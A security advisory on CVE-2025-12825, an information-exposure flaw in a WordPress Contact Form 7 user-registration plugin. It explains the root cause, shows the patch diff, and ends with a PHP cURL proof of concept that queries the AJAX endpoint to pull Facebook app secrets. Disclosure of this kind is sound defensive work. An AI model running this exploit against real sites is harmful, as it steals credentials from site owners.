Atomic Edge analysis of CVE-2025-12825:
This vulnerability is an authenticated information exposure flaw in the User Registration Using Contact Form 7 WordPress plugin, versions 2.5 and earlier. The flaw allows authenticated users with minimal privileges, such as subscribers, to retrieve sensitive plugin configuration data, including Facebook application secrets.
Atomic Edge research identifies the root cause as a missing capability check and nonce verification in the `fn_get_cf7_form_data` function. The vulnerable code in `/inc/class.zurcf7.php` registered the function to handle both `wp_ajax_get_cf7_form_data` and `wp_ajax_nopriv_get_cf7_form_data` AJAX actions (lines 41-42). This allowed unauthenticated requests. The function itself contained no authorization checks prior to processing the request and returning form data.
Exploitation involves sending a POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`, with the `action` parameter set to `get_cf7_form_data`. An attacker, even without authentication, could trigger this endpoint. The request must also include the `zurcf7_formid` parameter, which the function processes. Successful exploitation returns the plugin’s form settings data.
The patch in version 2.6 addresses the issue with three key changes. First, it removes the `wp_ajax_nopriv_get_cf7_form_data` hook in `/inc/class.zurcf7.php`, restricting the endpoint to authenticated users only. Second, it adds a capability check, requiring the `manage_options` privilege, which corresponds to an administrator role. Third, it implements a nonce check using `wp_verify_nonce` with the `zurcf7_get_cf7_form_data` action. The nonce is now generated and passed to the admin JavaScript via the `ajax_nonce` variable in `/inc/admin/class.zurcf7.admin.action.php`.
If exploited, this vulnerability exposes sensitive plugin configuration data. Atomic Edge analysis confirms this includes Facebook application IDs and secrets stored within form settings. Exposure of such secrets could allow an attacker to compromise associated Facebook applications, potentially leading to unauthorized API access, data leakage from connected services, or account takeover scenarios.
--- a/user-registration-using-contact-form-7/inc/admin/class.zurcf7.admin.action.php
+++ b/user-registration-using-contact-form-7/inc/admin/class.zurcf7.admin.action.php
@@ -60,7 +60,9 @@
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Display check, not form processing
$post_type = isset( $_GET['post_type'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type'] ) ) : '';
- if( $post_type && (ZURCF7_POST_TYPE === $post_type) ){
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Display check, not form processing
+ $page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
+ if( ( $post_type && (ZURCF7_POST_TYPE === $post_type) ) || ( $page && 'zurcf7_settings' === $page ) ){
wp_register_script( ZURCF7_PREFIX . '-admin-js', ZURCF7_URL . 'assets/js/admin.min.js', array( 'jquery-core' ), ZURCF7_VERSION, false );
wp_register_style( ZURCF7_PREFIX . '-admin-css', ZURCF7_URL . 'assets/css/admin.min.css', array(), ZURCF7_VERSION );
@@ -77,7 +79,7 @@
'zurcf7_acf_field_mapping' => __( '<h3>ACF Plugin Required</h3><p>ACF Plugin is required for ACF Field Mapping</p>', 'user-registration-using-contact-form-7' ),
'zurcf7_fb_signup_app_id_tool' => __( '<h3>App Id</h3><p>Please enter app id.</p>', 'user-registration-using-contact-form-7' ),
'zurcf7_fb_app_secret_tool' => __( '<h3>App Secret</h3><p>Please enter app secret.</p>', 'user-registration-using-contact-form-7' ),
-
+ 'ajax_nonce' => wp_create_nonce( 'zurcf7_get_cf7_form_data' ),
);
--- a/user-registration-using-contact-form-7/inc/class.zurcf7.php
+++ b/user-registration-using-contact-form-7/inc/class.zurcf7.php
@@ -41,7 +41,6 @@
#get Contact form data in admin
add_action("wp_ajax_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
- add_action("wp_ajax_nopriv_get_cf7_form_data", array($this,"fn_get_cf7_form_data"));
}
@@ -178,10 +177,22 @@
*
*/
function fn_get_cf7_form_data(){
- //Get current saved CF7 ID
+ // Check user capabilities - only allow users with manage_options capability
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Unauthorized access</option>' ) );
+ return;
+ }
+
+ // Verify nonce for additional security
+ if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'zurcf7_get_cf7_form_data' ) ) {
+ wp_send_json( array( 'response' => 'error', 'formtag' => '<option value="">Security check failed</option>' ) );
+ return;
+ }
+
+ //Get current saved CF7 ID
$zurcf7_formid = (get_option( 'zurcf7_formid')) ? get_option( 'zurcf7_formid') : "";
- $html .= '<option value="">Select field</option>';
+ $html = '<option value="">Select field</option>';
if(!empty(sanitize_text_field($_POST['zurcf7_formid']))){ //phpcs:ignore
//get tag for specific tag
--- a/user-registration-using-contact-form-7/user-registration-cf7.php
+++ b/user-registration-using-contact-form-7/user-registration-cf7.php
@@ -3,7 +3,7 @@
* Plugin Name: User Registration Using Contact Form 7
* Plugin URL: https://wordpress.org/plugin-url/
* Description: User Registration Using Contact Form 7 plugin provide the feature to register the user to the website using Contact Form 7.
- * Version: 2.5
+ * Version: 2.6
* Author: ZealousWeb
* Author URI: https://www.zealousweb.com/
* Developer: The ZealousWeb Team
@@ -27,7 +27,7 @@
*/
if ( !defined( 'ZURCF7_VERSION' ) ) {
- define( 'ZURCF7_VERSION', '2.5' ); // Version of plugin
+ define( 'ZURCF7_VERSION', '2.6' ); // Version of plugin
}
if ( !defined( 'ZURCF7_FILE' ) ) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12825 - User Registration Using Contact Form 7 <= 2.5 - Authenticated (Subscriber+) Information Exposure
<?php
$target_url = 'http://vulnerable-site.example.com';
// The vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Prepare the POST data for the vulnerable action.
// The 'zurcf7_formid' parameter is required by the function, but can be empty.
$post_data = array(
'action' => 'get_cf7_form_data',
'zurcf7_formid' => '' // The function checks for this parameter.
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response Body:n";
echo $response . "n";
// The response is expected to be JSON containing form settings data.
// A successful exploit on a vulnerable version will return data.
// A patched version will return an 'error' response.
}
curl_close($ch);
?>